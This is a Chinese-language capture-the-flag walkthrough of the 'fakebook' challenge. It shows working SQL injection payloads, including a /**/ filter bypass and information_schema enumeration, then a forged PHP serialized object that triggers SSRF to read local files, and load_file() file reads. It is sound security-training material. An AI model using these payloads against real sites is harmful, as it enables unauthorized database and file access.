打开题目链接
尝试弱口令登录
失败
随便注册
点击admin后跳转到下面这个页面
显示的是注册用户信息，观察url发现no=1，猜测存在注入
用单引号测试一下，报错，确实存在SQL注入
使用order by 判断字段数
?no=1 order by 5
5的时候报错，说明有4列
尝试联合查询注入，发现存在过滤
?no=0 union select 1,2,3,4 --+
尝试使用大小写绕过，发现不行
这里要使用内联注释/**/绕过
?no=0 union/**/select 1,2,3,4 --+
可以看到回显位在2
查数据库名：
?no=0 union/**/select 1,database(),3,4 --+
数据库名为fakebook
查该数据库下所有的表名：
?no=0 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'--+
可以看到存在一个叫uses的表
查该表下的列名信息：
?no=0 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'--+
我们一般还会对条件进行限制，指定查哪个数据库下的
?no=0 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' and table_schema='fakebook'--+
可以看到结果就少了几个
查具体字段信息：
?no=0 union/**/select 1,data,3,4 from fakebook.users --+
是一串序列化后的信息 ：
O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:10;s:4:"blog";s:8:"zxc.blog";}
name、age、blog为data反序列化值，blog读取成功会返回url值
我们可以通过反序列化来实现ssrf读取任意文件
通过目录扫描
知道flag就在html目录下
即：/var/www/html/flag.php
?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:10;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
查看源码发现base64编码
解码得到flag
flag{c1e552fdf77049fabf65168f22f7aeab}
这里有一个更简单的方法，由于知道了flag的路径，直接使用load_file()函数进行文件读取：
?no=0 union/**/select 1,load_file('/var/www/html/flag.php'),3,4 --+
查看源码，找到flag
